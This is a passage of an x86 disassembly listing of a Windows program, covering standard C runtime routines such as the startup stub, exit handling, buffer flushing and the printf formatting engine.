[ebp+arg_0] push eax push ebx push 1 push dword_46B6DC call esi ; MultiByteToWideChar test eax, eax jnz short loc_417B13 jmp short loc_417A95 ; --------------------------------------------------------------------------- loc_417AE6: ; CODE XREF: sub_417A19+Fj cmp dword_46B6CC, esi jnz short loc_417AF9 push [ebp+arg_4] call sub_415B10 pop ecx jmp short loc_417B13 ; --------------------------------------------------------------------------- loc_417AF9: ; CODE XREF: sub_417A19+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_46B6DC call dword_421064 ; MultiByteToWideChar cmp eax, esi jz short loc_417A95 loc_417B12: ; CODE XREF: sub_417A19+6Bj dec eax loc_417B13: ; CODE XREF: sub_417A19+1Aj ; sub_417A19+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_417A19 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421678 push offset sub_41D6A4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_42116C ; GetVersion xor edx, edx mov dl, ah mov dword_46B64C, edx mov ecx, eax and ecx, 0FFh mov dword_46B648, ecx shl ecx, 8 add ecx, edx mov dword_46B644, ecx shr eax, 10h mov dword_46B640, eax xor esi, esi push esi call sub_418C18 pop ecx test eax, eax jnz short loc_417B84 push 1Ch call sub_417C33 pop ecx loc_417B84: ; CODE XREF: seg001:00417B7Aj mov [ebp-4], esi call sub_41D4EF call dword_421168 ; GetCommandLineA mov dword_46CCAC, eax call sub_41D3BD mov dword_46B680, eax call sub_41D170 call sub_41D0B7 call sub_41781A mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_421164 ; GetStartupInfoA call sub_41D05F mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_417BD1 movzx eax, word ptr [ebp-2Ch] jmp short loc_417BD4 ; --------------------------------------------------------------------------- loc_417BD1: ; CODE XREF: seg001:00417BC9j push 0Ah pop eax loc_417BD4: ; CODE XREF: seg001:00417BCFj push eax push dword ptr [ebp-64h] push esi push esi call dword_4210C8 ; GetModuleHandleA push eax call sub_40C574 mov [ebp-60h], eax push eax call sub_417847 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_41CEDB pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_417858 ; =============== S U B R O U T I N E ======================================= sub_417C0E proc near ; CODE XREF: sub_4166E2+16p ; sub_41D0B7+4Ep ... arg_0 = dword ptr 4 cmp dword_46B688, 1 jnz short loc_417C1C call sub_41D77C loc_417C1C: ; CODE XREF: sub_417C0E+7j push [esp+arg_0] call sub_41D7B5 push 0FFh call off_437F10 pop ecx pop ecx retn sub_417C0E endp ; =============== S U B R O U T I N E ======================================= sub_417C33 proc near ; CODE XREF: seg001:00417B7Ep arg_0 = dword ptr 4 cmp dword_46B688, 1 jnz short loc_417C41 call sub_41D77C loc_417C41: ; CODE XREF: sub_417C33+7j push [esp+arg_0] call sub_41D7B5 pop ecx push 0FFh call dword_421114 ; ExitProcess retn sub_417C33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C57 proc near ; CODE XREF: sub_415316+46p ; sub_41588A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_417D60 test al, 40h jnz loc_417D60 test al, 1 jz short loc_417C8F and dword ptr [esi+4], 0 test al, 10h jz loc_417D60 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_417C8F: ; CODE XREF: sub_417C57+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_417CC9 cmp esi, offset dword_43A658 jz short loc_417CB7 cmp esi, offset dword_43A678 jnz short loc_417CC2 loc_417CB7: ; CODE XREF: sub_417C57+56j push ebx call sub_41D94C test eax, eax pop ecx jnz short loc_417CC9 loc_417CC2: ; CODE XREF: sub_417C57+5Ej push esi call sub_41D908 pop ecx loc_417CC9: ; CODE XREF: sub_417C57+4Ej ; sub_417C57+69j test word ptr [esi+0Ch], 108h push edi jz short loc_417D36 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_417CF9 push edi push eax push ebx call sub_41CCC7 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_417D2C ; --------------------------------------------------------------------------- loc_417CF9: ; CODE XREF: sub_417C57+90j cmp ebx, 0FFFFFFFFh jz short loc_417D14 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_46C960[eax*4] lea eax, [eax+ecx*8] jmp short loc_417D19 ; --------------------------------------------------------------------------- loc_417D14: ; CODE XREF: sub_417C57+A5j mov eax, offset dword_43A5A0 loc_417D19: ; CODE XREF: sub_417C57+BBj test byte ptr [eax+4], 20h jz short loc_417D2C push 2 push 0 push ebx call sub_41C447 add esp, 0Ch loc_417D2C: ; CODE XREF: sub_417C57+A0j ; sub_417C57+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_417D4A ; --------------------------------------------------------------------------- loc_417D36: ; CODE XREF: sub_417C57+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41CCC7 add esp, 0Ch mov [ebp+arg_4], eax loc_417D4A: ; CODE XREF: sub_417C57+DDj cmp [ebp+arg_4], edi pop edi jz short loc_417D56 or dword ptr [esi+0Ch], 20h jmp short loc_417D65 ; --------------------------------------------------------------------------- loc_417D56: ; CODE XREF: sub_417C57+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_417D68 ; --------------------------------------------------------------------------- loc_417D60: ; CODE XREF: sub_417C57+10j ; sub_417C57+18j ... or al, 20h mov [esi+0Ch], eax loc_417D65: ; CODE XREF: sub_417C57+FDj or eax, 0FFFFFFFFh loc_417D68: ; CODE XREF: sub_417C57+107j pop esi pop ebx pop ebp retn sub_417C57 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417D6C proc near ; CODE XREF: sub_415316+29p ; sub_41588A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_418485 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_417DA0 ; --------------------------------------------------------------------------- loc_417D98: ; CODE XREF: sub_417D6C+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_417DA0: ; CODE XREF: sub_417D6C+2Aj cmp [ebp+var_14], edx jl loc_418485 cmp bl, 20h jl short loc_417DC1 cmp bl, 78h jg short loc_417DC1 movsx eax, bl mov al, [eax+421664h] and eax, 0Fh jmp short loc_417DC3 ; --------------------------------------------------------------------------- loc_417DC1: ; CODE XREF: sub_417D6C+40j ; sub_417D6C+45j xor eax, eax loc_417DC3: ; CODE XREF: sub_417D6C+53j movsx eax, byte_421684[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_418474 ; default jmp off_41848D[eax*4] ; switch jump loc_417DE1: ; DATA XREF: seg001:off_41848Do or [ebp+var_10], 0FFFFFFFFh ; jumptable 00417DDA case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417DFC: ; CODE XREF: sub_417D6C+6Ej ; DATA XREF: seg001:off_41848Do movsx eax, bl ; jumptable 00417DDA case 2 sub eax, 20h jz short loc_417E3F sub eax, 3 jz short loc_417E36 sub eax, 8 jz short loc_417E2D dec eax dec eax jz short loc_417E24 sub eax, 3 jnz loc_418474 ; default or [ebp+var_4], 8 jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417E24: ; CODE XREF: sub_417D6C+A4j or [ebp+var_4], 4 jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417E2D: ; CODE XREF: sub_417D6C+A0j or [ebp+var_4], 1 jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417E36: ; CODE XREF: sub_417D6C+9Bj or byte ptr [ebp+var_4], 80h jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417E3F: ; CODE XREF: sub_417D6C+96j or [ebp+var_4], 2 jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417E48: ; CODE XREF: sub_417D6C+6Ej ; DATA XREF: seg001:off_41848Do cmp bl, 2Ah ; jumptable 00417DDA case 3 jnz short loc_417E70 lea eax, [ebp+arg_8] push eax call sub_41854B test eax, eax pop ecx mov [ebp+var_20], eax jge loc_418474 ; default or [ebp+var_4], 4 neg eax loc_417E68: ; CODE XREF: sub_417D6C+111j mov [ebp+var_20], eax jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417E70: ; CODE XREF: sub_417D6C+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_417E68 ; --------------------------------------------------------------------------- loc_417E7F: ; CODE XREF: sub_417D6C+6Ej ; DATA XREF: seg001:off_41848Do mov [ebp+var_10], edx ; jumptable 00417DDA case 4 jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417E87: ; CODE XREF: sub_417D6C+6Ej ; DATA XREF: seg001:off_41848Do cmp bl, 2Ah ; jumptable 00417DDA case 5 jnz short loc_417EAA lea eax, [ebp+arg_8] push eax call sub_41854B test eax, eax pop ecx mov [ebp+var_10], eax jge loc_418474 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417EAA: ; CODE XREF: sub_417D6C+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417EBC: ; CODE XREF: sub_417D6C+6Ej ; DATA XREF: seg001:off_41848Do cmp bl, 49h ; jumptable 00417DDA case 6 jz short loc_417EEF cmp bl, 68h jz short loc_417EE6 cmp bl, 6Ch jz short loc_417EDD cmp bl, 77h jnz loc_418474 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417EDD: ; CODE XREF: sub_417D6C+15Dj or [ebp+var_4], 10h jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417EE6: ; CODE XREF: sub_417D6C+158j or [ebp+var_4], 20h jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417EEF: ; CODE XREF: sub_417D6C+153j cmp byte ptr [edi], 36h jnz short loc_417F08 cmp byte ptr [edi+1], 34h jnz short loc_417F08 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417F08: ; CODE XREF: sub_417D6C+186j ; sub_417D6C+18Cj mov [ebp+var_30], edx loc_417F0B: ; CODE XREF: sub_417D6C+6Ej ; DATA XREF: seg001:off_41848Do mov ecx, off_437F20 ; jumptable 00417DDA case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_417F37 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4184AD mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_417F37: ; CODE XREF: sub_417D6C+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_4184AD add esp, 0Ch jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_417F4F: ; CODE XREF: sub_417D6C+6Ej ; DATA XREF: seg001:off_41848Do movsx eax, bl ; jumptable 00417DDA case 7 cmp eax, 67h jg loc_418177 cmp eax, 65h jge loc_417FFA cmp eax, 58h jg loc_418058 jz loc_4181EB sub eax, 43h jz loc_41801B dec eax dec eax jz short loc_417FF0 dec eax dec eax jz short loc_417FF0 sub eax, 0Ch jnz loc_418376 test word ptr [ebp+var_4], 830h jnz short loc_417F99 or byte ptr [ebp+var_4+1], 8 loc_417F99: ; CODE XREF: sub_417D6C+227j ; sub_417D6C+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_417FA6 mov esi, 7FFFFFFFh loc_417FA6: ; CODE XREF: sub_417D6C+233j lea eax, [ebp+arg_8] push eax call sub_41854B test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_4181BF test ecx, ecx jnz short loc_417FCE mov ecx, off_437F1C mov [ebp+var_8], ecx loc_417FCE: ; CODE XREF: sub_417D6C+257j mov [ebp+var_24], 1 mov eax, ecx loc_417FD7: ; CODE XREF: sub_417D6C+282j mov edx, esi dec esi test edx, edx jz loc_4181B6 cmp word ptr [eax], 0 jz loc_4181B6 inc eax inc eax jmp short loc_417FD7 ; --------------------------------------------------------------------------- loc_417FF0: ; CODE XREF: sub_417D6C+212j ; sub_417D6C+216j mov [ebp+var_34], 1 add bl, 20h loc_417FFA: ; CODE XREF: sub_417D6C+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_4180DE mov [ebp+var_10], 6 jmp loc_4180EC ; --------------------------------------------------------------------------- loc_41801B: ; CODE XREF: sub_417D6C+20Aj test word ptr [ebp+var_4], 830h jnz short loc_418027 or byte ptr [ebp+var_4+1], 8 loc_418027: ; CODE XREF: sub_417D6C+2B5j ; sub_417D6C+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41806E call sub_418568 push eax lea eax, [ebp+var_248] push eax call sub_41DA2B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_418081 mov [ebp+var_28], 1 jmp short loc_418081 ; --------------------------------------------------------------------------- loc_418058: ; CODE XREF: sub_417D6C+1FBj sub eax, 5Ah jz short loc_41808F sub eax, 9 jz short loc_418027 dec eax jz loc_418251 jmp loc_418376 ; --------------------------------------------------------------------------- loc_41806E: ; CODE XREF: sub_417D6C+2C5j call sub_41854B pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_418081: ; CODE XREF: sub_417D6C+2E1j ; sub_417D6C+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_418376 ; --------------------------------------------------------------------------- loc_41808F: ; CODE XREF: sub_417D6C+2EFj lea eax, [ebp+arg_8] push eax call sub_41854B test eax, eax pop ecx jz short loc_4180D0 mov ecx, [eax+4] test ecx, ecx jz short loc_4180D0 test byte ptr [ebp+var_4+1], 8 jz short loc_4180C1 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_418376 ; --------------------------------------------------------------------------- loc_4180C1: ; CODE XREF: sub_417D6C+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_418373 ; --------------------------------------------------------------------------- loc_4180D0: ; CODE XREF: sub_417D6C+32Fj ; sub_417D6C+336j mov eax, off_437F18 mov [ebp+var_8], eax push eax jmp loc_41816C ; --------------------------------------------------------------------------- loc_4180DE: ; CODE XREF: sub_417D6C+29Dj jnz short loc_4180EC cmp bl, 67h jnz short loc_4180EC mov [ebp+var_10], 1 loc_4180EC: ; CODE XREF: sub_417D6C+2AAj ; sub_417D6C:loc_4180DEj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43A280 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41813E cmp [ebp+var_10], 0 jnz short loc_41813E lea eax, [ebp+var_248] push eax call off_43A28C pop ecx loc_41813E: ; CODE XREF: sub_417D6C+3BCj ; sub_417D6C+3C2j cmp bl, 67h jnz short loc_418155 test esi, esi jnz short loc_418155 lea eax, [ebp+var_248] push eax call off_43A284 pop ecx loc_418155: ; CODE XREF: sub_417D6C+3D5j ; sub_417D6C+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41816B or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41816B: ; CODE XREF: sub_417D6C+3F0j push edi loc_41816C: ; CODE XREF: sub_417D6C+36Dj call sub_415B10 pop ecx jmp loc_418373 ; --------------------------------------------------------------------------- loc_418177: ; CODE XREF: sub_417D6C+1E9j sub eax, 69h jz loc_418251 sub eax, 5 jz loc_418227 dec eax jz loc_418214 dec eax jz short loc_4181E4 sub eax, 3 jz loc_417F99 dec eax dec eax jz loc_418255 sub eax, 3 jnz loc_418376 mov [ebp+var_2C], 27h jmp short loc_4181F2 ; --------------------------------------------------------------------------- loc_4181B6: ; CODE XREF: sub_417D6C+270j ; sub_417D6C+27Aj sub eax, ecx sar eax, 1 jmp loc_418373 ; --------------------------------------------------------------------------- loc_4181BF: ; CODE XREF: sub_417D6C+24Fj test ecx, ecx jnz short loc_4181CC mov ecx, off_437F18 mov [ebp+var_8], ecx loc_4181CC: ; CODE XREF: sub_417D6C+455j mov eax, ecx loc_4181CE: ; CODE XREF: sub_417D6C+46Fj mov edx, esi dec esi test edx, edx jz short loc_4181DD cmp byte ptr [eax], 0 jz short loc_4181DD inc eax jmp short loc_4181CE ; --------------------------------------------------------------------------- loc_4181DD: ; CODE XREF: sub_417D6C+467j ; sub_417D6C+46Cj sub eax, ecx jmp loc_418373 ; --------------------------------------------------------------------------- loc_4181E4: ; CODE XREF: sub_417D6C+425j mov [ebp+var_10], 8 loc_4181EB: ; CODE XREF: sub_417D6C+201j mov [ebp+var_2C], 7 loc_4181F2: ; CODE XREF: sub_417D6C+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41825C mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41825C ; --------------------------------------------------------------------------- loc_418214: ; CODE XREF: sub_417D6C+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41825C or byte ptr [ebp+var_4+1], 2 jmp short loc_41825C ; --------------------------------------------------------------------------- loc_418227: ; CODE XREF: sub_417D6C+417j lea eax, [ebp+arg_8] push eax call sub_41854B test byte ptr [ebp+var_4], 20h pop ecx jz short loc_418240 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_418245 ; --------------------------------------------------------------------------- loc_418240: ; CODE XREF: sub_417D6C+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_418245: ; CODE XREF: sub_417D6C+4D2j mov [ebp+var_28], 1 jmp loc_418474 ; default ; --------------------------------------------------------------------------- loc_418251: ; CODE XREF: sub_417D6C+2F7j ; sub_417D6C+40Ej or [ebp+var_4], 40h loc_418255: ; CODE XREF: sub_417D6C+432j mov [ebp+var_C], 0Ah loc_41825C: ; CODE XREF: sub_417D6C+491j ; sub_417D6C+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41826E lea eax, [ebp+arg_8] push eax call sub_418558 pop ecx jmp short loc_4182AF ; --------------------------------------------------------------------------- loc_41826E: ; CODE XREF: sub_417D6C+4F4j test byte ptr [ebp+var_4], 20h jz short loc_418295 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41828A call sub_41854B pop ecx movsx eax, ax loc_418287: ; CODE XREF: sub_417D6C+527j ; sub_417D6C+539j cdq jmp short loc_4182AF ; --------------------------------------------------------------------------- loc_41828A: ; CODE XREF: sub_417D6C+510j call sub_41854B pop ecx movzx eax, ax jmp short loc_418287 ; --------------------------------------------------------------------------- loc_418295: ; CODE XREF: sub_417D6C+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_4182A7 call sub_41854B pop ecx jmp short loc_418287 ; --------------------------------------------------------------------------- loc_4182A7: ; CODE XREF: sub_417D6C+531j call sub_41854B pop ecx xor edx, edx loc_4182AF: ; CODE XREF: sub_417D6C+500j ; sub_417D6C+51Cj test byte ptr [ebp+var_4], 40h jz short loc_4182D0 test edx, edx jg short loc_4182D0 jl short loc_4182BF test eax, eax jnb short loc_4182D0 loc_4182BF: ; CODE XREF: sub_417D6C+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_4182D4 ; --------------------------------------------------------------------------- loc_4182D0: ; CODE XREF: sub_417D6C+547j ; sub_417D6C+54Bj ... mov esi, eax mov edi, edx loc_4182D4: ; CODE XREF: sub_417D6C+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_4182DD and edi, 0 loc_4182DD: ; CODE XREF: sub_417D6C+56Cj cmp [ebp+var_10], 0 jge short loc_4182EC mov [ebp+var_10], 1 jmp short loc_4182F0 ; --------------------------------------------------------------------------- loc_4182EC: ; CODE XREF: sub_417D6C+575j and [ebp+var_4], 0FFFFFFF7h loc_4182F0: ; CODE XREF: sub_417D6C+57Ej mov eax, esi or eax, edi jnz short loc_4182FA and [ebp+var_1C], 0 loc_4182FA: ; CODE XREF: sub_417D6C+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_418300: ; CODE XREF: sub_417D6C+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_418310 mov eax, esi or eax, edi jz short loc_41834B loc_418310: ; CODE XREF: sub_417D6C+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_417100 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_417180 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_418341 add ebx, [ebp+var_2C] loc_418341: ; CODE XREF: sub_417D6C+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_418300 ; --------------------------------------------------------------------------- loc_41834B: ; CODE XREF: sub_417D6C+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_418376 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_418369 test eax, eax jnz short loc_418376 loc_418369: ; CODE XREF: sub_417D6C+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_418373: ; CODE XREF: sub_417D6C+35Fj ; sub_417D6C+406j ... mov [ebp+var_C], eax loc_418376: ; CODE XREF: sub_417D6C+21Bj ; sub_417D6C+2FDj ... cmp [ebp+var_28], 0 jnz loc_418474 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_4183AE test bh, 1 jz short loc_418393 mov [ebp+var_16], 2Dh jmp short loc_4183A7 ; --------------------------------------------------------------------------- loc_418393: ; CODE XREF: sub_417D6C+61Fj test bl, 1 jz short loc_41839E mov [ebp+var_16], 2Bh jmp short loc_4183A7 ; --------------------------------------------------------------------------- loc_41839E: ; CODE XREF: sub_417D6C+62Aj test bl, 2 jz short loc_4183AE mov [ebp+var_16], 20h loc_4183A7: ; CODE XREF: sub_417D6C+625j ; sub_417D6C+630j mov [ebp+var_1C], 1 loc_4183AE: ; CODE XREF: sub_417D6C+61Aj ; sub_417D6C+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_4183CE lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184E2 add esp, 10h loc_4183CE: ; CODE XREF: sub_417D6C+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_418513 add esp, 10h test bl, 8 jz short loc_418400 test bl, 4 jnz short loc_418400 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_4184E2 add esp, 10h loc_418400: ; CODE XREF: sub_417D6C+67Bj ; sub_417D6C+680j cmp [ebp+var_24], 0 jz short loc_418447 cmp [ebp+var_C], 0 jle short loc_418447 mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_418415: ; CODE XREF: sub_417D6C+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_41DA2B pop ecx test eax, eax pop ecx jle short loc_41845C lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_418513 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_418415 jmp short loc_41845C ; --------------------------------------------------------------------------- loc_418447: ; CODE XREF: sub_417D6C+698j ; sub_417D6C+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_418513 add esp, 10h loc_41845C: ; CODE XREF: sub_417D6C+6BCj ; sub_417D6C+6D9j test byte ptr [ebp+var_4], 4 jz short loc_418474 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_4184E2 add esp, 10h loc_418474: ; CODE XREF: sub_417D6C+68j ; sub_417D6C+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_417D98 loc_418485: ; CODE XREF: sub_417D6C+1Fj ; sub_417D6C+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_417D6C endp ; --------------------------------------------------------------------------- off_41848D dd offset loc_417F0B ; DATA XREF: sub_417D6C+6Er dd offset loc_417DE1 ; jump table for switch statement dd offset loc_417DFC dd offset loc_417E48 dd offset loc_417E7F dd offset loc_417E87 dd offset loc_417EBC dd offset loc_417F4F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184AD proc near ; CODE XREF: sub_417D6C+1BDp ; sub_417D6C+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_4184C6 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_4184D1 ; --------------------------------------------------------------------------- loc_4184C6: ; CODE XREF: sub_4184AD+9j push ecx push [ebp+arg_0] call sub_417C57 pop ecx pop ecx loc_4184D1: ; CODE XREF: sub_4184AD+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_4184DE or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_4184DE: ; CODE XREF: sub_4184AD+2Aj inc dword ptr [eax] pop ebp retn sub_4184AD endp ; =============== S U B R O U T I N E ======================================= sub_4184E2 proc near ; CODE XREF: sub_417D6C+65Ap ; sub_417D6C+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_418510 mov esi, [esp+8+arg_C] loc_4184F3: ; CODE XREF: sub_4184E2+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_4184AD add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_418510 mov eax, edi dec edi test eax, eax jg short loc_4184F3 loc_418510: ; CODE XREF: sub_4184E2+Bj ; sub_4184E2+25j pop edi pop esi retn sub_4184E2 endp ; =============== S U B R O U T I N E ======================================= sub_418513 proc near ; CODE XREF: sub_417D6C+670p ; sub_417D6C+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_418547 mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_418529: ; CODE XREF: sub_418513+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_4184AD add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_418547 mov eax, ebx dec ebx test eax, eax jg short loc_418529 loc_418547: ; CODE XREF: sub_418513+Cj ; sub_418513+2Bj pop edi pop esi pop ebx retn sub_418513 endp ; =============== S U B R O U T I N E ======================================= sub_41854B proc near ; CODE XREF: sub_417D6C+E5p ; sub_417D6C+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41854B endp ; =============== S U B R O U T I N E ======================================= sub_418558 proc near ; CODE XREF: 